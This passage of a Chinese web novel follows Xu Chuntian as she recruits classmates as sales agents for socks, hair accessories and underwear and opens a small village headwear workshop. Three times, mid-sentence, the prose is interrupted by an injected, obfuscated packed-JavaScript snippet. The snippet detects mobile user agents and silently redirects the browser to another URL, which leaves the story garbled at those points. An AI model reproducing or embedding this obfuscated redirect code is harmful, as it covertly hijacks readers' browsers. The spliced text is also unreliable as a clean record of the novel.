李亦航加了句：“学校里肯定不鼓励我们做这个，怕影响不好。所以我提议在我家。” 他说话完全没有了上两次见面的劲，徐春天都忍不住怀疑自己，是不是认错人了！ 不过代理还是谈成了，大家是同学，徐春天每双袜子只赚两毛，至于他们自己卖多少，她不管。 腊肠闷饭很好吃，陈一帆还切了盘子从家里带来的咸鸭蛋。三人用热水代酒，“合作愉快！” 吃过饭交接完货，就有意外访客。 “陈一帆，春天是不是在这？”两个熟人现在门口，向院子里张望。“程颜，谭玉，你俩咋了来了？” 徐春天没想到能见到她俩。俩人跑进来，“回宿舍听舍友说，有个大美女骑着三轮车来找陈一帆。我猜可能是你！” 徐春天笑了笑，“陈一帆上次说要代理嘛，赶上下雪，他回不去。我今天来进货，就顺便过来了。” 程颜和谭玉当然知道她来是干什么，因为她们匆忙过来，也是有自己的心思。 谭玉直接掏出本子，“春天，你看这是我们画的图，虽然画的有点粗糙，但我相信，你肯定能做出来。” 程颜也接着说：“我们还问了同学们的想法，想要什么样的，把一些觉得有用的建议，也都写了。” 俩人认真的看着徐春天，“我们也想做代理。” 陈一帆急得跳起来，“不行！我都谈好了。” 谭玉噗嗤笑了，“我们不和你抢！你卖袜子，我们卖头饰！” “那还差不多。”陈一帆嘴里嘟囔，“你们也不早说，害我白着急。” “春天，行不行啊？” 徐春天认真看了看本子上的画和字，很是惊喜。“行啊，不过这次我只带了袜子。等我回去把货做出来，咱们再谈。” 她说完从车把挂的包里取出一个塑料袋，“我原本打算托陈一帆给你们的。” 程颜和谭玉打开，里面竟然是好几种发卡，带钻蝴蝶发夹，毛绒球流苏发卡，还有蓝白方格布的发圈。 “这个毛绒球流苏是我自己设计的，下雪后我赶集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891354|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上，看到落在草从上的积雪，毛绒绒向花一样，就雪绒花，我就有了这个念头。” “太好看了！”谭玉很喜欢。临走前，徐春天建议她们，如果发真想做代理，最好是不要在宿舍里。 别人去宿舍买东西，容易引起其他舍友的不满。再就是学校会觉得这影响学习。她们是女生，也不要来李亦航的家。有时候流言蜚语真的很可怕。 比如徐春天，她是真切领教过的。她不希望为了挣点钱，让自己的朋友陷入困境。 谭玉哈哈一笑，“春天啊，你可真好！” 程颜心里叹了口气，她觉得徐春天这段时间肯定承受了很多，以前，她从不在乎，准确的说是不在意这些东西。以前的徐春天，心里只有学习，对其他方面钝的很。 这边事情处理结束，徐春天赶紧去批发市场找孙兰清汇合。孙兰清在刘姐店里，给家里人都买了新秋衣秋裤，还给郭姥娘和金奶奶都买了件红色厚外套。 进入交九，也就是预示着进入一年最冷的时候。有了改装车，徐春天就没再叫家里人去赶集，而是坚持自己去。四天赶集，第五天休息，如此循环。 到了元旦前一天，孙兰清突然说，“没想到，小羽订婚了！” 徐春天一顿，“小羽？” “是啊，就是咱前面那个小羽啊，她家里人嘴了真严。又不是啥好人家，害怕还怕别人抢啊？” “那个，她嫁谁了？”徐春天隐约记得前一阵媒婆上门，说亲来着。 “就高家那个，放狗咬你的那个。” 孙兰清嘴上这样说，其实也没多大感觉。“小羽比你还大几岁呢，不结婚咋行？家里给她治成这样就很不错了。以后嫁了人，有个孩子，老了也有人管！” 嫁人！又是这套说辞！ 徐春天不爱听，心里的火蹭蹭蹿起来！ “那种烂人，嫁过去能过上好日子？” 她是真搞不懂父母辈的想法，干什么都是为了嫁人。比如她最讨厌做饭，孙兰清就会说她在娘家这么懒，去婆家这样可咋办等等。好像女孩子就应该做饭刷锅洗碗干家务，从娘家培训好去婆家当牛做马！ 徐春天气哼哼的，却改变不了什么。元旦，小羽订婚了。她甚至看到了那个高家的坏蛋，知道他叫高飞腾，知道结婚的日子也定下了，就在十天后。 “切，干嘛这么着急？”徐春天很不理解。孙兰清和她解释，“是高家找人算了，说是明年结婚不好，今年先摆酒席。小羽还不到二十呢。” 哈？还没到结婚年龄，哎，甚至连年都不能在家过！ 但有些事，不会因她的意志而改变。她能做的就是管好自己。徐春天的头饰事业，有了新突破。 有几款仿照电视剧里的流行款式，在学生中卖的非常好。程颜和谭玉也已经如愿成了她在一中的代理。 不过，认真比较起来，她这几个代理中，还真有人才。 比如，徐春雨！ 20. 商业思维 徐春雨身为一个小学生，生活范围不过是学校和家里，她竟然无师自通，自创了套适合小学生的商业思维。 农村小学生手里，基本没有多少零花钱。但这并不代表小学生没有消费能力。 徐春天还记得她五六年级的时候，同学之间特别就行扎耳洞。店家用枪打，然后买一些漂亮的耳钉耳坠戴。她就跟孙兰清要钱去扎。 不过最终她怕疼，没有去扎。那原本扎耳洞的钱，就都买成了零食。 爱睡懒觉的徐春雨，每天早起让孙兰清给她扎辫子，今天带圆发圈，明天就用方巾发圈，天天换，不重样，发夹也是。 学习上，她也更加努力，还主动拉上她的朋友们。在元旦前的测试中，她和几个朋友成绩都有了很大的进步。 “姐，你明天去给我开家长会吧。”徐春雨拿着试卷兴奋通知徐春天。“我和同学们都说好了，等开完家长会，她们就找你买东西。” 徐春天有点怀疑：“你确定？” “当然啦！姐，你明天记得挑些好看的啊，多来些发夹，就那个蝴蝶发夹，毛球球，还有带小花的和小动物的……” 徐春雨对姐姐做的发夹如数家珍，毕竟有些还是她提议的呢。 第二天下午，徐春天第一次以学生家长的身份，重新回到她的母校。熟悉的老师，熟悉的校园，只是学生们不再是熟悉的面孔。 家长会顺利结束，徐春天就看到徐春雨身旁围了一群小姑娘，围着她的三轮车叽叽喳喳。 “姐，快把车打开。” 小车打开，里听到哇声一片。徐春天第一次觉得小女孩们也挺吵闹的。不过她们也都非常可爱，她们会对着镜子臭美，也会扬起小脸，真诚的夸奖徐春天的东西好看。最后还会拉过家长付钱。 “俺闺女这阵子学习可认真了。说是你妹妹春雨拉着她学习。有时候你妹妹还会把发夹借给她戴。以前啊，我怎么念叨她都不学。” 一个家长会，家长们也都把徐春天同县一中休学挣钱摆摊，大集上车上有兔子，卖袜子头饰等有效信息连在一起。 孩子成绩进步，买几个发夹头花又算什么，本来就是要买的东西。好几个年轻的妈妈还给自己买了发圈。妈妈们更喜欢发圈。 “这种是叫方巾发圈吧，有点像我们那时候，把绸子扎辫子上。” 仅仅一个家长会，徐春雨就超额完成了百元任务。这可给徐春河带来巨大冲击！他的百元任务，进度还是零呢。徐春河夜里辗转反侧，袜子头饰，他咋卖呢。 班上女同学挺多，可他不好意思开口。男生就更别说了，哪个人自己买袜子，都是家里给买。 “唉！”徐春河觉得自己大概要做点什么。 他躺在被窝里默默复盘了姐姐摆摊之路。卖什么，卖给谁，怎么卖，越想他越是佩服姐姐。让别人心甘情愿的掏钱，有点难。 过了元旦，徐春天的生意更好了。陆陆续续有大学放假，大集上年轻人明显多了。徐春天的头饰已经不再是原来的统一定价，而是根据款式和做工，分了四五个不同的价位，但发圈的款式就有十七八中，发夹的种类更多了，还经常上新品。 如今，小车车厢也卖发饰，所有的袜子都摆挡板上了。大集上也陆陆续续多了好几家卖袜子的小摊，不再是她一家独大。但论销量和回头客，依旧是她家独树一帜。 “你家的东西都很好看，我怎么在其他地方没见过呢？”有好几次，买东西的女生忍不住问。有人看她卖的好，说话直接，　“小美女，你都是从哪里进货？义乌吗？我都想进点去学校跳蚤市场卖！” 徐春天好奇，“大学里还有跳蚤市场？” “当然啦！学生们自己摆个小摊，卖啥的都有。主要是每年大四学长学姐们毕业，老多东西带不走，扔了可惜。就会放跳蚤市场去卖。” “大学可以自由了。我同学有在宿舍卖垃圾袋的，也有去奶茶店兼职打工的。我刚报到时，遇到学长学姐，她们竟然代理卖电话卡，还有代理驾照的，代理培训班，比如学c＋+。” …… 听着她们的介绍，徐春天心生向往。大学这么好呢，放假也早，在学校里也只自由，还能学到各种知识。她真的，想去看看！ 另一边徐春河兴奋的告诉徐春天，“姐，这次进货你带上我。我想批发些草稿纸和笔。” 徐春河在班里做了个小范围的市场调查。最终发现，身为学生，最常见且占比最大的支出，肯定是文具了。尤其是向草稿纸和笔芯这类消耗品，价格不高，消耗量巨大。 没有调查，没有发言权。徐春河这次是彻底明白了这句话的好含义！ 徐春河的事业终于缓慢起步，而徐春雨则已经转换身份，开始向生产商进军。 元旦过后，徐春天决定提前筹备新货，冲击寒假和春节，抓住这段时间巨大的人流量，深挖消费潜力。 她决定在家里腾出一间房，专门用来做头饰。之前的头饰多是自家人齐上阵，孙兰清负责缝纫，金奶奶负责裁剪，徐大龙负责粘贴，就连徐爷爷，也会帮忙。就连徐春河徐春雨，写完作业也会来帮忙，完全用实际行动证明家里不养闲人。 “娘，我想多备点货，不过咱家人不够用。我想着再买一台缝纫机，找两个人，这样效率会更好。到时候我爸负责检查质量。让我爷爷奶奶清闲下。” 孙兰清听她这样说，有点心疼钱。“那你再找人不得花钱？能卖出去吗？我们现在这样，不也挺好吗？” 徐春天笑了笑，“娘，你就放心吧。我到时候会给你也开工资。你就帮我问问有没有人愿意来！” 肯定有啊，孙兰清可太知道了，冬天地里没活，大家闲着也是闲着，谁不想挣点钱？可是，村里哪里有合适的挣钱机会呢？ 做头饰真没啥技术含量，基本有手就行。孙兰清心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895212|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘算着和自己关系不错，手巧家里事少的人。 “就会蹬机子（缝纫机）就行？”徐秀荣不可置信的看向孙兰清，“你别是诓我吧？” 孙兰清看着好姐妹这样，她没说话自己就先笑了，“咱俩啥关系啊，我骗你干啥？你去不去？你要不去我找别人去。我家老大可说了，就找俩人。按件算钱。至少从现在干到过年。” “我去，你还打算找谁？” 孙兰清还没想好呢，她前脚回家，后脚就有人自己主动找上门。 来人是小羽她娘。她家就住在徐春天家前面，属于前后邻居。 “俺是看白天人家来送机子（缝纫机），就想着，你家是不是打算找人啊？俺家近，家里也没啥事，小羽也嫁出去了。嫂子，你也知道俺手脚麻利的很。要是找人，你可想着俺。” 孙兰清的确有考虑过她，而且她都直接来了，向来脸皮薄的孙兰清，看着人家热辣辣的眼神，想拒绝的话也说不出来。 “行啊，那明天你就来。到时候我家老大给你们说说咋做，还有工资的事。” 小羽她娘叫谭桂兰，听到孙兰清这样说，她简直直美坏了。这些年，家里给小羽治病，欠了很多钱。除了小羽，她还有个小儿子。能多一点挣钱的地方，她多挣一点，家里债能早一点还完。 第二天，徐春天不赶集。 两台缝纫机都已经放前院东屋了，这个屋子里点了炉子，还烧了火炕，暖和和。谭桂兰，徐秀荣早上吃完饭收拾好就来了。 一进屋，看着两台缝纫机整齐摆放，屋里干干净净，两张孩子上学用的书桌，也整齐的摆好，剪刀等工具一应俱全。还挺有点正式样子。 墙上已经挂好了颜色不同，长短不一的布条。徐春天简单说了下分工以及干不同活的价钱。做工越复杂，价格就越高，缝纫，串珠，镶钻等都是不同价格，从3厘但8厘不等。有事提前说，不耽误回家做饭。但是对质量有要求，做不好就必须返工。 徐春天称之为工作室。这还是他上辈子听别人说的。工作室听起来很高大上，实际上很多就是家庭小作坊，甚至有的工作室就一个人。 头饰工作室，主要做各种发圈，发夹，还有布艺发卡。产品都是徐春天设计，然后制作出样品。工作室几人按照分工，各自完成不同工序，将产品做出来。徐春天会时刻根据市场反馈来调整产品。 有了这个工作室，徐春天卖头饰的优势一下子就凸现出来。寒假来临，集市上越发热闹，也有不少新加入的摊位，卖饰品，卖头饰。有些直接从南方进货，本以为南方新出的头饰，在北方农村大集必然是新鲜货，可等摊主去了集上，才发现有个摊袜子明显是批发货，可头饰怎么样式那么多，关键是还每集都不一样，根本不像是囤货或者批发来的款。价格便宜的就像清仓大甩卖！ 大集上框框挣钱的同时，县一中的代理们，也都打电话传来了好消息！ 21. 大胆提议 “袜子收入挺稳定的，徐同学。”陈一帆喜滋滋的在电话里说。他从来没想过，自己还有做生意的天分。现在他们卖袜子的事已经小范围传播开了。他们质量有保证，款式也好看，最主要的是价格便宜，中国人不骗中国人，一中学生更不会骗一中学生。 “哪个？你也给我们点女款袜子呗！”好几次有女生还问他买袜子呢。 “不行！女孩子们进进出出你们住的地方，传出去可不好听。”徐春天直接拒绝。 陈一帆对这个理由很无语，“你这是封建思想！你这么年轻，咋思想比老班还封建呢？……” 徐春天记得上辈子听说，高一和高三是学生恋爱高峰期。高一大家初相识，又都是青春气息洋溢，对恋爱懵懂，很容易就有了好感。而高三压力大，也容易催生出恋爱念头。当然有些人是看别人恋爱就更风，也有人青春叛逆。家长老师越是不让，他们就越是要谈，感情大过天。 但无论他怎么说，徐春天就是不松口，反而告诉他一个噩耗，如果程颜和谭玉愿意，她打算给她俩供货女袜。 陈一帆这下真的没招了。 李亦航从陈一帆手里接过电话：“徐同学，你能不能搞来男士内裤？” “啥？” “啊？” 李亦航再次重复，“我是说，你方才说的也很对。我们卖女生的袜子的确不太合适，还是程颜她们更方便一点。” “所以我想，袜子有需求，内裤其实也有，特别是纯棉内裤。” 他说着，陈一帆忍不住冲他竖起一个大拇指。“哥们，你真牛，和女生也能坦然的讨论内裤。” 其实高中的越多学生还挺单纯，有些话题就不太适合男女生之间聊，特别是涉及到一些接近隐私的事。 “你说的这个，我考虑下。”徐春天没觉得有什么不好意思。挂了电话，她认真的考虑下。 她之前就做过市场调查，农村大集上，内裤款式不多，甚至可以说没什么款式可言，大裤衩子三角的平角的。村里人也都节约，内裤穿在里面又没人看见，洗干净就行，破点旧点都无所谓。所以，她并没有选择内裤。 但李亦航的提议就不同了。校园里的高中生都是青春年少，在集体生活中，还是更愿意体面一点。还有女生那边，在保证质量和价格的同时，可以增加些款式和颜色。 徐春天很快心里有了主意。 她找出自己的笔记本，翻出电话，赶紧打过去。 “孙姐，我是徐春天小徐啊，你们厂的内裤生产线，上了吗？” 孙姐是她在袜厂认识的销售员，之前就听孙姐提到过，她们老板背后还有老板，简单来说，，县里这个厂其实是南方老板的代加工厂。据说那个南方老板在南方有大厂子，当地号称内衣小镇。袜子内裤都生产。 徐春天最开始还很不理解从生产袜子到生产内裤这种转变，经过孙姐解释，她才听明白那种模式叫做多元化发展。袜子内裤看似不沾边，实际上无论是从生产工艺，原材料到供应链基础都很相近。而且，一种产品打出名气，获得市场认可，另一种产品则更容易被市场接受。 就比如徐春天，她想卖内裤，第一个就想到这家袜子厂。袜子物美价廉，那内裤肯定也不会差。 “小徐啊，你这电话打的正是时候，内裤线已经生产了。你啥时候过来，跟姐说一声，姐带你看看。” 徐春天会心一笑，“那可太好了，姐，我明天就过去，还是那个时间。” “好嘞！” 之所以这么着急去，是她因为她计划着年前大干一场。挣钱不容易，徐春天既想多囤货，又想换辆电动三轮车。但她这半年刚挣了些钱，实在是不习惯直接把钱都花出去。 徐春天在心里暗暗决定，如果这批内裤销售额能达到预期，她立马换辆电动三轮车。现在的车上，已经不能够满足她的进货需求。而且，等中小学放寒假了，她还计划着让春河春雨也一并去赶集守摊。具体卖什么她都想好了。 “挑内裤啊，就三点，舒适耐穿，价格实惠，设计简约。” 孙姐早就准备好了，在听到徐春天的打算后，她心里挺欣赏小姑娘的魄力，还有眼光。 “舒适耐穿，首先是材质。纯棉的吸汗透气。而添加氨纶，我们厂这款就是5%的氨纶，95%的棉。这样的配比会增加内裤的弹性，使得内裤柔软适中，还不容易变形。” “其次是做工。我们厂的内裤啊，你看看这做工，采用平缝工艺，标签缝在外，基本无痕，穿起来也不会摩擦。” “最后就是款式。男孩子嘛，打篮球踢足球的，宽松平角裤和贴身平角裤就行。” 徐春天心想，不愧是有南方大厂做背景，生产出来的内裤的确不错。她都想买些。 “姐，我还想看看女款。” 孙姐自然是答应。女款市场更大，款式多，做工精细，相对来说价格更高一点。 “你看了绝对喜欢！” 孙姐说的没错，徐春天当即就进了货。骑着三轮车直接去了县一中后的李亦航家。 恰好今天是周末，为了等徐春天，李陈一帆都没有回家。 “徐同学，你来啦！航哥，快来！” 陈一帆是个热情开朗的大嗓门，嗷嗷几声就把徐春天的车子推进院里，李亦航也走了出来。 “验货吧。” 温度虽低，但太阳不错，徐春天坐在凳子上，捧着一杯热水。 她还是不太习惯和异性共处一室。 好在陈一帆和李亦航验货也快，单从购买者的角度，两人对这批内裤都满意极了。 说实在的，他们并不太会挑，可男孩子发大了嘛，总不好继续让家长给买。 “徐同学，这批货真不错。价格呢？” 徐春天进价就不算很低，但因为她这批货就是针对学生群体进的，所以她只在批发价基础上加了一点价。 “零售的话，五元一条。我觉得你们可以搞个寒假礼包，袜子内裤联合，或者加上文具。” 草稿纸和笔芯，高中生需求就更大了！ “哎，徐同学，你脑子咋这么灵活呢？这点子太好了！” 陈一帆双眼满是欣赏，边说还撞一下沉默的伙伴，“航哥，你说是不是？” 李亦航低声道：“是啊。” 徐春天没有在他们这过多停留，就直奔程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895213|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜和谭玉的住处。两人也出来租房子了，位置在学校里面。 县一中操场东南角有一处家属院，都是平房。住的都是一中的教职工。所以家里人才放心让程颜和谭玉出来租房子住。 徐春天进院，就看到程颜从屋里跑出来，手里还抓着一把青菜，“春天，你可来了。快洗手，我们吃火锅！” 大冬天的，吃上一顿热腾腾的火锅，什么疲惫都没有了。 程颜和谭玉对女袜和女士内裤也很喜欢，当即自己就挑了些。 “尺码表都有，女款的价位要多一些。材质都一样，主要是款式的区别。” 徐春天交代完，随即选择告辞。“趁天色还早，我去商场和批发市场上转一转。” 元旦后的商场里，人流量更大。徐春天刚一进去，就感觉到喜庆的氛围。来来往往的人群里，年轻的面孔明显多了。 新鲜的水果，在灯光下散发出诱人的光泽。红艳艳的草莓，价格巨贵。徐春天看了看，打算明年自家也整个县拱棚种草莓。 草莓在大地里非常好养活，她奶奶家就有，一片片的。别看冬天叶子蔫蔫的，等到了初春就开始绿起来，支棱起来，开花挂果，满院子的清甜草莓香味。就是长得草莓，容易坏。不是烂了，就是让鸟啄了。 市场里新年氛围更浓，年货都开始上了。徐春天转了一圈，终于是凑齐了她想要的东西。她心里记下来，等放寒假了，就带春河春雨一道来进货。 路过刘姐的店面，她拎着橙子和苹果走了进去。“刘姐！” 此时刘姐正坐在桌子后忙着编织东西，手指灵活很跳舞一样，编的飞快。“哎呀，小徐，你来就来呗，还拎啥东西啊？” 刘姐和孙姐是好朋友，自然知道徐春天最近生意不错。 “姐，你这是编啥呢？”看起来红彤彤的，应该是中国结。 刘姐笑了笑，“好看吧？” “好看！”徐春天原本以为中国结都是一种样子，没想到徐姐手里的中国结，和她印象中的很不一样。 “这是中国结！我这种编法比较麻烦，但编出来更加好看，卖价要高一点。” 听刘姐这样说，徐春天有个疑问：“姐，衣服都能机器生产，这个还人工编吗？” 刘姐笑了，“当然了！现在虽然也有机器生产的中国结，可你要知道，机器是死的，人是活的，那机器生产的都一个样。人编的就能五花八门。” 还挺有道理！ “怎么样？要不要学？过年期间这玩意卖的可好了。自己买线，成本也低，就是费工夫。”刘姐很大方。 “可以吗？”徐春天还挺想学的，只是人家刘姐是编来卖钱的。 “这有啥？其实编织中国结，看着是有手就行，但实际上可不是那么一回事。我家老大就手笨，编出来不像样子。老二但倒是行，可她没有耐心。” “你去商场里多买几个不同的中国结，回家自己拆开，手巧的人自己就能看会喽。” 刘姐有点得意，“我就是这么会的！可惜家里就我一个人会编。” 徐春天心中起了念头，费工夫？需要人？说真的，村里人最不怕的就是费工夫了！